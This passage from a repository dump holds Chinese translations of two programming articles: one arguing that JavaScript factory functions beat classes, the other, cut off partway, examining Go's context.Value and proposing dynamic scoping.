如果你没有显式地在构造函数中返回其他对象，那么构造函数将隐式地返回 `this`。\n- 将对象的 `[[Prototype]]` （一个内部引用） 属性设置为 `Constructor.prototype`，从而有 `Object.getPrototypeOf(instance) === Constructor.prototype`。\n- 声明构造函数引用，令 `instance.constructor === Constructor`。\n\n所有的这些都意味着，与工厂函数不同，类并不是完成组合式函数 mixin 的好手段。虽然你仍可以使用 `class` 来完成组合，但在后文中你将看到，这是一个非常复杂的过程，你的煞费苦心并不值当。\n\n## 委托原型\n\n最终，你可能需要将类重构为工厂函数，但是如果你要求调用者使用 `new` 关键字，那么重构将会以各种你无法预见到的方式打破原有的客户端代码。首先，不同于类和构造函数，工厂函数不会自动地构造一条委托原型链。\n\n`[[Prototype]]` 链接是服务于原型委托的，如果你有数以百万计的对象，它将能帮你节约内存，亦或当你需要在程序中在 16 毫秒内的渲染循环中访问一个对象成千上万的属性时，它能够带来一些微小的性能提升。\n\n如果你并不需要内存或者性能上的微型优化，`[[Prototype]]` 链接就弊大于利了。在 JavaScript 中，原型链加强了 `instanceof` 运算符，但不幸的是，由于以下两个原因，`instanceof` 并不可靠：\n\n在 ES5 中，`Constructor.prototype` 链接是动态可重配的，这一特性在你需要创建抽象工厂时显得尤为方便，但是如果你使用了该特性，当 `Constructor.prototype` 引用的对象和 `[[Prototype]]` 属性指向的不是同一对象时，`instanceof` 会引起伪阴性（false negative），即丢失了对象和所属类的关系：\n\n```\nclass User {\n  constructor ({userName, avatar}) {\n    this.userName = userName;\n    this.avatar = avatar;\n  }\n}\nconst currentUser = new User({\n  userName: 'Foo',\n  avatar: 'foo.png'\n});\nUser.prototype = {}; // 重配了 User 原型\nconsole.log(\n  currentUser instanceof User, // <-- false -- 糟糕！\n  // 但是该对象的形态确实满足 User 类型\n  // { avatar: \"foo.png\", userName: \"Foo\" }\n  currentUser\n);\n```\n\nChrome 意识到了这个问题，所以在属性描述之中，将 `Constructor.prototype` 的 `configurable` 属性设置为了 `false`。然而，Babel 就没有实现类似的行为，所以 Babel 编译后的代码将表现得和 ES5 的构造函数一样。而当你试图重新配置 `Constructor.prototype` 属性时，V8 将静默失败。无论是哪种方式，你都得不到你想要的结果。更加糟糕的是，重新设置 `Constructor.prototype` 会是前后矛盾的，因此我不推荐这样做。\n\n更常见的问题是，JavaScript 会拥有多个执行上下文 -- 相同代码所在的内存沙盒会访问不同的物理内存地址。例如，如果在父 frame 中有一个构造函数，且在 `iframe` 中有相同的构造函数，那么父 frame 中的 `Constructor.prototype` 和 `iframe` 中的 `Constructor.prototype` 将不会引用相同的内存位置。这是因为 JavaScript 中的对象值在底层是内存引用的，而不同的 frame 指向内存的不同内存位置，所以 `===` 将会检查失败。\n\n`instanceof` 的另一个问题是，它是一个名义上的类型检查而非结构类型检查，这意味着如果你开始使用了 `class` 并在之后切换到了抽象工厂，所有调用了 `instanceof` 的代码将不再能明白新的实现，即便这些代码都满足了接口约束。例如，你已经构建了一个音乐播放器接口，之后产品团队要求你为视频播放也提供支持，之后的之后，又叫你支持全景视频。视频播放器对象和音乐播放器对象是使用一致的控制策略：播放，停止，倒回，快进。\n\n但是如果你使用了 `instanceof` 作为对象类型检查，所有实现了你的视频接口类的对象不会满足代码中已经存在的 `foo instanceof AudioInterface` 检查。\n\n这些检查本应当成功的，然而现在却失败了。在其他语言中，通过允许一个类声明其所实现的接口，实现了可共享接口，从而也就解决了上面的问题。但在 JavaScript 中，这一点尚不能做到。\n\n在 JavaScript 中，如果你不需要委托原型链接（`[[Prototype]]`）的话，就打断委托原型链，让每次对象的类型判断检查都失败，错就错个彻底，这才是使用 `instanceof` 的最好方式。这样的处理方式你也不会对对象类型判断的可靠性产生误解。这其实是让你不要相信 `instanceof`，它也就无法对你撒谎了。\n\n## .contructor 属性\n\n`.constructor` 在 JavaScript 中已经鲜有使用了，它本该很有用，将它放入你的对象实例中也会是个好主意。但大多数情况下，如果你不尝试使用它来进行类型检测的话，它会是毛病重重的，并且，它也是不安全的，原因和 `instanceof` 不安全的原因一样。\n\n**理论上来说**，`.constructor` 对于创建通用函数很有用，这些通用函数能够返回你传入对象的新实例。\n\n**实践中**，在 JavaScript 中，有许多不同的方式来创建新的实例。即使是一些微不足道的目的，让对象保持一个其构造函数的引用，和知道如何使用构造函数够实例化新的对象也并不是一件事儿，我们可以看到下面这个例子，如何创建一个与指定对象同类型的空实例，首先，我们借助于 `new` 及对象的 `.constructor` 属性：\n\n```\n// 返回任何传入对象类型的空实例？\nconst empty = ({ constructor } = {}) => constructor ?\n  new constructor() :\n  undefined\n;\nconst foo = [10];\nconsole.log(\n  empty(foo) // []\n);\n```\n\n对于数组类型来说，这段代码工作良好。那么我们试试返回 Promise 类型的空对象：\n\n```\n// 返回任何传入对象类型的空实例？\nconst empty = ({ constructor } = {}) => constructor ?\n  new constructor() :\n  undefined\n;\nconst foo = Promise.resolve(10);\nconsole.log(\n  empty(foo) // [TypeError: Promise resolver undefined is\n             //  not a function]\n);\n```\n\n注意到代码中的 `new` 关键字，这是问题的来源。可以认为，在任何工厂函数中使用 `new` 关键字是不安全的，有时它会造成错误。\n\n要使上述代码正确工作，我们需要有一个标准的方式来传入一个新的值到新的实例中，这个方式将使用一个不需要 `new` 的标准工厂函数。对此，这里有个规范：任何构造函数或者工厂方法都需要一个 [`.of()` 的静态方法]((https://github.com/fantasyland/fantasy-land#of-method)。`.of()` 是一个工厂函数，它能根据你传入的对象，返回对应类型的新实例。\n\n现在，我们可以使用 `.of()` 来创建一个更好的通用 `empty()` 函数：\n\n```\n// 返回任何传入对象类型的空实例？\nconst empty = ({ constructor } = {}) => constructor.of ?\n  constructor.of() :\n  undefined\n;\nconst foo = [23];\nconsole.log(\n  empty(foo) // []\n);\n```\n\n不幸的是，`.of()` 静态方法才开始在 JavaScript 中得到支持。`Promise` 对象没有 `.of()` 静态方法，但有一个与之行为一致的静态方法 `.resolve()`，因此，我们的通用工厂函数无法工作在 `Promise` 对象上：\n\n```\n// 返回任意对象类型的空实例？\nconst empty = ({ constructor } = {}) => constructor.of ?\n  constructor.of() :\n  undefined\n;\nconst foo = Promise.resolve(10);\nconsole.log(\n  empty(foo) // undefined\n);\n```\n\n同样地，如果字符串、数字、object、map、weak map、set 等类型也提供了 `.of()` 静态方法，那么 `.constructor` 属性将成为 JavaScript 中更加有用的特性。我们能够使用它来构建一个富工具函数库，这个库能够工作在 functor，monad 以及其他任何代数类型上。\n\n对于一个工厂函数来说，添加 `.constructor` 和 `.of()` 是非常容易的：\n\n```\nconst createUser = ({\n  userName = 'Anonymous',\n  avatar = 'anon.png'\n} = {}) => ({\n  userName,\n  avatar,\n  constructor: createUser\n});\ncreateUser.of = createUser;\n// 测试 .of 和 .constructor:\nconst empty = ({ constructor } = {}) => constructor.of ?\n  constructor.of() :\n  undefined\n;\nconst foo = createUser({ userName: 'Empty', avatar: 'me.png' });\nconsole.log(\n  empty(foo), // { avatar: \"anon.png\", userName: \"Anonymous\" }\n  foo.constructor === createUser.of, // true\n  createUser.of === createUser       // true\n);\n```\n\n你甚至可以通过 `Object.create()` 方法来让 `.constructor` 不可枚举（译注：这样 `Object.keys()` 等方法就无法拿到 `.constructor` 属性）：\n\n```\nconst createUser = ({\n  userName = 'Anonymous',\n  avatar = 'anon.png'\n} = {}) => Object.assign(\n  Object.create({\n    constructor: createUser\n  }), {\n    userName,\n    avatar\n  }\n);\n```\n\n## 从类切到工厂将是一次巨大的变迁\n\n工厂函数通过下面这些方式提高了代码的灵活性：\n\n- 将对象实例化细节从调用代码处解耦。\n- 允许你返回任意类型，例如，使用一个对象池控制垃圾收集器。\n- 不要提供任何的类型保证，这样，调用者也不会尝试使用  `instanceof` 或者其他不可靠的类型检测手段，这些手段往往会在跨执行上下文调用或是当你切换到一个抽象工厂时破坏了原有的代码。\n- 由于工厂函数不提供任何类型保证，工厂就能动态地切换到抽象工厂的实现。例如，一个媒体播放器工厂变为了一个抽象工厂，该工厂提供一个 `.play()` 方法来满足不同的媒体类型。\n- 使用工厂函数将更利于函数组合。\n\n尽管多数目标能够通过类完成，但是使用工厂函数，将会让一切变得更加轻松。使用工厂函数，将更少地遇到 bug，更少地陷入复杂性的泥潭，以及更少的代码。\n\n基于以上原因，更加推崇将 `class` 重构为工厂函数，但也要注意，重构会是个复杂并且有可能产生错误的过程。在每一个面向对象语言中，从类到工厂函数的重构都是一个普遍的需求。关于此，你可以在 Martin Fowler、Kent Beck、John Brant、William Opdyke 和 Don Roberts 的这篇文章中知道更多：[Refactoring: Improving the Design of Existing Code](https://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672/ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=eejs-20&linkId=e7d5f652bc860f02c27ec352e1b8342c)\n\n由于 `new` 改变了一个函数调用的行为，从类到工厂函数进行的重构将是一个潜在的巨大改变。换言之，强制调用者使用 `new` 将不可避免地将调用者限制到构造函数的实现中，因此，`new` 将潜在地引起巨大的调用相关的 API 的实现改变。\n\n我们已经见识过了，下面这些隐式行为会让从类到工厂的转变成为一个巨大的改变：\n\n- 工厂函数创建的实例不再具有 `[[Prototype]]` 链接，那么该实例所有调用 `instanceof` 进行类型检测的代码都需要修改。\n- 工厂函数创建的实例不再具有 `.constructor` 属性，所有用到该实例 `.constructor` 属性的代码都需要修改。\n\n这两个问题可以通过在工厂函数创建对象的过程中绑定这两个属性来补救。\n\n你也要留心 `this` 可能会绑定到工厂函数的调用环境，这在使用 `new` 时是不需要考虑的（译注：`new` 会将 `this` 默认绑定到新创建的对象上）。如果你想要将抽象工厂原型存储为工厂函数的静态属性，这会让问题变得更加棘手。\n\n这是也是另一个需要留意的问题。所有的 `class` 调用都必须使用 `new`。省略了 `new` 的话，将会抛出如下错误：\n\n```\nclass Foo {};\n// TypeError: Class constructor Foo cannot be invoked without 'new'\nconst Bar = Foo();\n```\n\n在 ES6 及以上的版本，更常使用箭头函数来创建工厂，但是在 JavaScript 中，由于箭头函数不会拥有自己的 `this` 绑定，用 `new` 来调用一个箭头函数将会抛出错误：\n\n```\nconst foo = () => ({});\n// TypeError: foo is not a constructor\nconst bar = new foo();\n```\n\n所以，你无法在 ES6 环境下去将类重构为一个箭头函数工厂。但这无关紧要，彻头彻尾的失败是件好事儿，这会让你断了使用 `new` 的念想。\n\n但是，如果你将箭头函数编译为标准函数来允许对标准函数使用 `neW`，就会错上加错。在构建应用程序时，代码工作良好，但是应用切到生产环境时，也许会导致错误，从而影响了用户体验，甚至让整个应用崩溃。\n\n一个编辑器默认配置的变化就能破坏你的应用，甚至是你都没有改变任何你自己撰写的代码。再唠叨一句：\n\n> **警告：**从 `class` 到箭头函数的工厂的重构可能能在某一编译器下工作，但是如果工厂被编译为了一个原生箭头函数，你的应用将因为不能对该箭头函数使用 `new` 而崩溃。\n\n## 代码要求使用 new 违反了开闭原则\n\n开闭原则指的是，我们的 API 应当对扩展开放，而对修改封闭。由于对某个类常见的扩展是将它变为一个灵活性更高的工厂函数，但是这个重构如上文所说是一个巨大的改变，因此 `new` 关键字是对扩展封闭而对修改开放的，这与开闭原则相悖。\n\n如果你的 `class` API 是公开的，或者如果你和一个大型团队一起服务于一个大型项目，重构很可能破坏一些你无法意识到的代码。更好的做法是淘汰掉整个类（译注：也要淘汰类的相关操作，如 `new`，`instanceof` 等），并将其替代为工厂函数。\n\n该过程将一个小的，兴许能够静默解决的技术问题变为了极大的人的问题，新的重构将要求开发者对此具有足够的意识，受教育程度，以及愿意入伙重构，因此，这样的重构会是一个十分繁重的任务。\n\n我已经见到过了 `new` 多次引起了非常令人头痛的问题，但这很容易避免：\n\n> 使用工厂函数替代类。\n\n## 类关键字以及继承\n\n`class` 关键字被认为是为 JavaScript 中的对象模式创建提供了更棒的语法，但在某些方面，它仍有不足：\n\n### 友好的语法\n\n`class` 的初衷是要提供一个友好的语法来在 JavaScript 中模拟其他语言中的 `class`。但我们需要问问自己，究竟在 JavaScript 中是否真的需要来模拟其他语言中的 `class`？\n\nJavaScript 的工厂函数提供了一个更加友好的语法，开箱即用，非常简单。通常，一个对象字面量就足够完成对象创建了。如果你需要创建多个实例，工厂函数会是接下来的选择。\n\n在 Java 和 C++ 中，相较于类，工厂函数更加复杂，但由于其提供的高度灵活性，工厂仍然值得创建。在 JavaScript 中，相较于类，工厂则更加简单，但是却更加强大。\n\n下面的代码使用类来创建对象：\n\n```\nclass User {\n  constructor ({userName, avatar}) {\n    this.userName = userName;\n    this.avatar = avatar;\n  }\n}\nconst currentUser = new User({\n  userName: 'Foo',\n  avatar: 'foo.png'\n});\n```\n\n同样的功能，我们替换为工厂函数试试：\n\n```\nconst createUser = ({ userName, avatar }) => ({\n  userName,\n  avatar\n});\nconst currentUser = createUser({\n  userName: 'Foo',\n  avatar: 'foo.png'\n});\n```\n\n如果熟悉 JavaScript 以及箭头函数，那么能够感受到工厂函数更简洁的语法及因此带来的代码可读性的提高。或许你还倾向于 `new`，但下面这篇文章阐述了应当避免使用的 `new` 的原因：[Familiarity bias may be holding you back](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)。\n\n还有别的工厂优于类的论证吗？\n\n## 性能及内存占用\n\n> 委托原型好处寥寥。\n\n`class` 语法稍优于 ES5 的构造函数，其主要目的在于为对象建立委托原型链，但是委托原型实在是好处寥寥。原因主要归结于性能。\n\n`class` 提供了两个性能优化方式：属性检索优化以及存在委托原型上的属性会共享内存。\n\n大多数现代设备的 RAM 都不小，任何类型的闭包作用域或者属性检索都能达到成百上千的 ops。所以是否使用 `class` 造成的性能差异在现代设备中几乎可以忽略不计了。\n\n当然，也有例外。RxJS 使用了 `class` 实例，是因为它们确实比闭包性能好些，但是 RxJS 作为一个工具库，有可能工作在操作频繁的上下文中，因此它需要限制其渲染循环在 16 毫秒内完成，这无可厚非。\n\nThreeJS 也使用了类，但你知道的，ThreeJS 是一个 3d 渲染库，常用于开发游戏引擎，对性能极度苛求，每 16 毫秒的渲染循环就要操作上千个对象。\n\n上面两个例子想说明的是，作为对性能有要求的库，它们使用 `class` 是合情合理的。\n\n在一般的应用开发中，我们应当避免提前优化，只有在性能需要提升或者遭遇瓶颈时才考虑去优化它。对于大多数应用来说，性能优化的点在于网络的请求和响应，过渡动画，静态资源的缓存策略等等。\n\n诸如使用 `class` 这样的微型优化对性能的优化是有限的，除非你真正发现了性能问题，并找准了瓶颈发生的位置。\n\n取而代之的，你更应当关注和优化代码的可维护性和灵活性。\n\n## 类型检测\n\nJavaScript 中的类是动态的，`instanceof` 的类型检测不会真正地跨执行上下文工作，所以基于 `class` 的类型检测不值得考虑。类型检测可能导致 bug，你的应用程序也不需要那么严格，造成复杂性的提高。\n\n## 使用 `extends` 进行类继承\n\n类继承会造成的这些问题想必你已经听过多次了：\n\n- **紧耦合**: 在面向对象程序设计中，类继承会造成最紧的耦合。\n- **层级不灵活**: 随着开发时间的增长，所有的类层级最终都不适应于新的用例，但紧耦合又限制了代码重构的可能性。\n- **猩猩/香蕉 问题**: 继承的强制性。“你只想要一个香蕉，但是你最终得到的却是一个拿着香蕉的猩猩以及整个丛林 ” 这句话来自 Joe Armstrong 在 [Coders at Work](https://www.amazon.com/Coders-Work-Reflections-Craft-Programming/dp/1430219483/ref=as_li_ss_tl?s=books&ie=UTF8&qid=1500436305&sr=1-1&keywords=coders+at+work&linkCode=ll1&tag=eejs-20&linkId=45e89bc5d776b1326c2ae90355e9ccac) 中提到的\n- **代码重复**: 由于不灵活的层级及 猩猩/香蕉 问题，代码重用往往只能靠复制/粘贴，这违反了 DRY（Don't Repeat Yourself）原则，反而一开始就违背了继承的初衷。\n\n`extends` 的唯一目的是创建一个单一祖先的 class 分类法。一些机智的 hacker 读了本文会说：“我不认同你的看法，类也是可组合的 ”。对此，我的回答是 “但是你脱离了 `extend`，使用对象组合来替代类继承，在 JavaScript 中是更加简单，安全的方式”\n\n## 如果你足够仔细的话，类也是 OK 的\n\n我说了很多工厂替代掉类的好处，但你仍坚持使用类的话，不妨再看看我下面的一些建议，它们帮助你更安全地使用类：\n\n- 避免使用 `instanceof`。由于 JavaScript 是动态语言并且拥有多个执行上下文，`instanceof` 总是难以反映期望的类型检测结果。如果之后你要切换到抽象工厂，这也会造成问题。\n- 避免使用 `extends`。不要多次继承一个单一层级。“应当优先考虑对象组合而不是类继承” 这句话源自 [Design Patterns: Elements of Reusable Object-Oriented Software](https://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented-ebook/dp/B000SEIBB8/ref=as_li_ss_tl?s=digital-text&ie=UTF8&qid=1500478917&sr=1-1&keywords=design+patterns&linkCode=ll1&tag=eejs-20&linkId=7443052c45c6e7d9cb7f6b06fa58b488)\n- 避免导出你的类。使用 `class` 会让应用获得一定程度的性能提升，但是导出一个工厂来创建实例是为了不鼓励用户来继承你撰写好的类，也避免他们使用 `new` 来实例化对象。\n- 避免使用 `new`。尽量不直接使用 `new`，也不要强制你的调用者使用它，取而代之的是，你可以导出一个工厂供调用者使用。\n\n下面这些情况你可以使用类：\n\n- **你正使用某个框架创建 UI 组件**，例如你正使用 React 或者 Angular 撰写组件。这些框架会将你的组件类包裹为工厂函数，并负责组件的实例化，所以也避免了用户去使用 `new`。\n- **你从不会继承你的类或者组件**。尝试使用对象组合、函数组合、高阶函数、高阶组件或者模块，相较于类继承，它们更利于代码复用。\n- **你需要优化性能**。只要记住你使用了类之后应当暴露工厂而不是类给用户，让用户避免使用 `new` 和 `extend`。\n\n在大多数情况下，工厂函数将更好地服务于你。\n\n在 JavaScript 中，工厂比类或者构造函数更加简单。我们在撰写应用时，应当先从简单的模式开始，直到需要时，才渐进到更复杂的模式。\n\n[下一篇: 使用函数完成的可组合类型 >](https://medium.com/javascript-scene/composable-datatypes-with-functions-aec72db3b093)\n\n## 接下来\n\n想学习更多 JavaScript 函数式编程吗？\n\n[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg\">](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/why-context-value-matters-and-how-to-improve-it.md",
    "content": "\n  > * 原文地址：[Why context.Value matters and how to improve it](https://blog.merovius.de/2017/08/14/why-context-value-matters-and-how-to-improve-it.html)\n  > * 原文作者：[Axel Wagner](https://twitter.com/TheMerovius)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/why-context-value-matters-and-how-to-improve-it.md](https://github.com/xitu/gold-miner/blob/master/TODO/why-context-value-matters-and-how-to-improve-it.md)\n  > * 译者：[星辰](https://www.zhihu.com/people/tmpbook)\n  > * 校对者：[lsvih](https://github.com/lsvih)，[leviding](https://github.com/leviding)\n\n  # 为什么 context.Value 重要，如何进行改进\n\n  **觉得文章太长可以看这里：我认为 context.Value 解决了描写无状态这个重要用例 - 而且它的抽象还是可扩展的。我相信 [dynamic scoping](https://en.wikipedia.org/wiki/Scope_(computer_science)#Dynamic_scoping) 可以提供同样的好处，同时解决对当前实现的大多数争议。 因此，我将试图从其具体实施到它的潜在问题进行讨论。**\n\n**这篇博文有点长。我建议你跳过你觉得无聊的部分**\n\n---\n\n最近[这篇博文](https://faiface.github.io/post/context-should-go-away-go2/)已经在几个 Go 论坛上被探讨过。它提出了几个很好的论据来反对 [context-package](https://godoc.org/context)：\n\n- 即使有一些中间函数没有用到它，但它依然要求这些函数包含 `context.Context`。这引起了 API 的混乱的同时还需要广泛的深入修改 API，比如，`ctx context.Context` 会在入参中重复出现多次。\n- `context.Value` 不是静态类型安全的，总是需要类型断言。\n- 它不允许你静态地表达关于上下文内容的关键依赖。\n- 由于需要全局命名空间，它容易出现名称冲突。\n- 这是一个以链表形式实现的字典，因此效率很低。\n\n然而，在对 context 被设计来**解决**的问题的探讨中，我认为它做的不够好，它主要探讨的是取消机制，而对于 `Context.Value` 只进行了简单的说明。\n\n> […] 设计你的 API，而不考虑 ctx.Value，可以让你永远有选择的余地。\n\n我认为这个问题提的很不公正。想要关于 context.Value 的论证是理性的，需要双方都参与进来考虑。无论你对当前 API 的看法如何：经验丰富且智慧的工程师们在郑重思考后觉得 `Context.Value` 是需要的，这意味着这个问题值得被关注。\n\n我将尝试描述我对 content 包在尝试解决什么样的问题的看法，目前存在哪些替代方案，以及为什么我找到了它们的不足之处，同时我正在为一种未来的语言演进描述一种替代设计。它将解决相同的问题，同时避免一些学习 content 包时的负面影响。但这并不是意味着它将会是 Go 2 的一个具体方案（我在这的考虑还为时过早），只是为了表现一种平衡的观点，使得语言设计界有更多可能，更容易考虑到全部可能。\n\n---\n\n这些 context 要去解决的问题是将问题抽象为独立执行的、由系统的不同部分处理的单元，以及如何将数据作用域应用到这些单元的某一个上。很难清楚的定义我说的这些抽象，所以我会给出一些例子。\n\n- 当你构建一个可扩展的 web 服务时，你可能会有一个为你做一些类似认证、权鉴和解析等的无状态前端服务。它允许你轻松的扩展外部接口，如果负载增加到后端不能承受，也可以直接在前端优雅的拒绝。\n- [微服务](https://en.wikipedia.org/wiki/Microservices)将大型应用分成小的个体分别来处理每个特定的请求，拆分出更多的请求到其它微服务里面。这些请求通常是独立的，可以根据需求轻松的将各个微服务上下的扩展，从而在实例之间进行负载均衡，并解决[透明代理](https://istio.io/)中的一些问题。\n- [函数及服务](https://en.wikipedia.org/wiki/Serverless_computing)走的更远一步：你编写一个无状态的方法来转换数据，平台使其可扩展并更效率的执行。 \n- 甚至[CSP](https://en.wikipedia.org/wiki/Communicating_sequential_processes)，Go 内置的并发模型也可以体现这一方式。即程序员执行单独的『进程』来描述他的问题，运行时则会更效率的执行它。\n- [函数式程序设计](https://en.wikipedia.org/wiki/Functional_programming)作为一种范型。函数结果只依赖于入参的这一概念意味着不存在共享态和独立执行。\n- 这个 Go 的 [Request Oriented Collector](https://docs.google.com/document/d/1gCsFxXamW8RRvOe5hECz98Ftk-tcRRJcDFANj2VwCB0/edit) 设计也有着完全相同的猜想和理论。\n\n所有这些情况的想法都是想通过减少共享状态的同时保持资源的共享来增加扩展性（无论是分布在机器之间，线程之间或者只是代码中）。\n\nGo 采取了一个措施来靠近这个特性。但它不会像某些函数式编程语言那样禁止或者阻碍可变状态。它允许在线程之间共享内存并与互斥体进行同步，而不完全依赖于通道。但是它也绝对想成为一种（或**唯一**）编写现代可扩展服务的语言。因此，它**需要**成为一种很好的语言来编写无状态的服务，它需要至少在一定程度上能够达到**请求**隔离级别而不是进程隔离。\n\n**（附注：这似乎是上述文章作者的声明，他\u0017声称上下文主要对服务作者有用。我不同意。一般抽象发生在很多层面。比如 GUI 的一次点击就像这个请求的抽象一样，作为一个 HTTP 请求。）**\n\n这带来了能在请求级别存储一些数据的需求。一个简单的例子就是[RPC 框架](https://grpc.io)中的身份验证。不同的请求将具有不同的功能。如果一个请求来自于管理员，它应该比未认证用户拥有更高的权限。这是从根本上的**请求作用域**内的数据而不是过程，服务或者应用作用域。RPC 框架应该将这些数据视为不透明的。它是应用程序特指的，不仅是数据看起来有多详细，还有**什么样**的数据是需要的。\n\n就像一个 HTTP 代理或者框架不需要知道它不适用的请求参数和头一样，RPC 框架不应该知道应用程序所需要的请求作用域的数据。\n\n---\n\n让我们来试试在不引入上下文的情况下解决（可能）这个问题，例如，我们来看看编写 HTTP 中间件的问题。我们希望以装饰一个 [http.Handler](https://godoc.org/net/http#Handler)（或其变体）的方式来允许装饰器附加数据给请求。\n\n为了获得静态类型安全性，我们可以试着添加一些类型给我们的 handlers。我们可以有一个包含我们想要保留请求作用域内所有数据的类型，并通过我们的 handler 传递：\n\n```go\ntype Data struct {\n    Username string\n    Log *log.Logger\n    // …\n}\n\nfunc HandleA(d Data, res http.ResponseWriter, req *http.Request) {\n    // …\n    d.Username = \"admin\"\n    HandleB(d, req, res)\n    // …\n}\n\nfunc HandleB(d Data, res http.ResponseWriter, req *http.Request) {\n    // …\n}\n```\n\n但是，这将阻止我们编写可重用的中间件。任何这样的中间件都需要用 `HandleA` 包好。但是因为它将是可重用的，所以它不应该知道参数的类型。有可以将 `Data` 参数设置为 `interface{}` 类型，并需要类型断言。但这不允许中间件注入自己的数据。你可能觉得接口类型断言可以解决这个问题，但是它们还有[它们自己的一堆问题](https://blog.merovius.de/2017/07/30/the-trouble-with-optional-interfaces.html)没解决。所以结果是，这种方法不能带给你真正的类型安全。\n\n我们可以存储由请求键入的状态。例如身份验证中间件可以实现\n\n```\ntype Authenticator struct {\n    mu sync.Mutex\n    users map[*http.Request]string\n    wrapped http.Handler\n}\n\nfunc (a *Authenticator) ServeHTTP(res http.ResponseWriter, req *http.Request) {\n    // …\n    a.mu.Lock()\n    a.users[req] = \"admin\"\n    a.mu.Unlock()\n    defer func() {\n        a.mu.Lock()\n        delete(a.users, req)\n        a.mu.Unlock()\n    }()\n    a.wrapped.ServeHTTP(res, req)\n}\n\nfunc (a *Authenticator) Username(req *http.Request) string {\n    a.mu.Lock()\n    defer a.mu.Unlock()\n    return a.users[req]\n}\n```\n\n这与上下文相比有**一些**好处：\n\n- 它更加类型安全。\n- 虽然我们还是不能对认证用户表达要求，但是我们**能**对认证者表达要求。\n- 这样不太可能命名冲突了。\n\n然而，我们已经认同它的共享可变状态和相关的锁争用。如果其中一个中间处理程序决定创建一个新的请求，那么可以使用一种很微妙的方式破解，比如 [http.StripPrefix](https://github.com/golang/go/blob/816deacc70f48d14638104e284b3b75d5b1e8036/src/net/http/server.go#L1946) 将要做的那样。\n\n最后我们可能会考虑将这些数据存储在 [*http.Request](https://godoc.org/net/http#Request) 本身中，例如通过将其添加为字符串的 [URL parameter](https://godoc.org/net/url#URL.RawQuery)，但这也有几个缺点。事实上，它基本检测到了 `context.Context` 的每个单独 item 的缺点。表达式是一个链表。即使有那样的优点，它的线程安全也无法忽略，如果该请求被传递给不同的 goroutine 中的程序处理，我们会遇到麻烦。\n\n**（附注：所有的这一切也使我们了解了为什么 context 包被使用链表的方式实现。它允许存储在其中的所有数据都是只读的，因此肯定线程安全，在上下文中保存的共享状态永远不会出现锁争用，因为压根不需要锁。）**\n\n\n所以我们看到，解决这个问题是非常困难的（如果可以解决），实现在独立执行的处理程序附加数据给请求时，也是优于 `context.Value` 的。无论是否相信这个问题值得解决，它都是有争议的。但是**如果**你想获得这种可扩展的抽象，你将不得不依赖于类似于 `context.Value` 的**东西**。\n\n---\n\n无论你现在相信 `context.Value` 确实无用，或者你仍有疑虑：在这两种情况下，这些缺点显然都不能被忽略。但是我们可以试着找到一些方法去改进它。消除一些缺点，同时保持其有用的属性。\n\n一种方法（在 Go 2 中）将是引入[动态作用域](https://en.wikipedia.org/wiki/Scope_(computer_science)#Dynamic_scoping)变量。语义上，每个动态作用域变量表示一个单独的栈，每次你改变它的值，新的值被推入栈。在你方法返回之后它会再次出栈。比如：\n\n```go\n// 让我们创造点语法，只一点点哦。\ndyn x = 23\n\nfunc Foo() {\n    fmt.Println(\"Foo:\", x)\n}\n\nfunc Bar() {\n    fmt.Println(\"Bar:\", x)\n    x = 42\n    fmt.Println(\"Bar:\", x)\n    Baz()\n    fmt.Println(\"Bar:\", x)\n}\n\nfunc Baz() {\n    fmt.Println(\"Baz:\", x)\n    x = 1337\n    fmt.Println(\"Baz:\", x)\n}\n\nfunc main() {\n    fmt.Println(\"main:\", x)\n    Foo()\n    Bar()\n    Baz()\n    fmt.Println(\"main:\", x)\n}\n\n// 输出：\nmain: 23\nFoo: 23\nBar: 23\nBar: 42\nBaz: 42\nBaz: 1337\nBar: 42\nBaz: 23\nBaz: 1337\nmain: 23\n```\n\n我想到这里的语义有一些需要注意的地方。\n\n- 我只允许在包的作用域声明 `dyn` 这个类型。鉴于没有办法引用不同功能的本地标识符，这似乎是合乎逻辑的。\n- 新产生的 goroutine 将会继承其父方法的动态值。如果我们通过链表实现它（像 `context.Context` 一样），共享的数据将是只读的。头指针需要储存在某种类型的 goroutine-local 的存储中。这样，写入只会修改此本地存储（和全局堆），因此不需要特意的同步本次修改。\n- 动态作用域将会独立于声明变量的包。也就是说，如果 `foo.A` 修改了一个动态的 `bar.X`，那么这个修改对后来的 `foo.A` 的被调用者都是不可见的，不管它们是否在 `bar` 内。\n- 动态作用域的变量不可寻址。否则我们会松动并发安全性和动态作用域界定的清晰『入栈』语义。不过仍然可以声明 `dyn x *int` 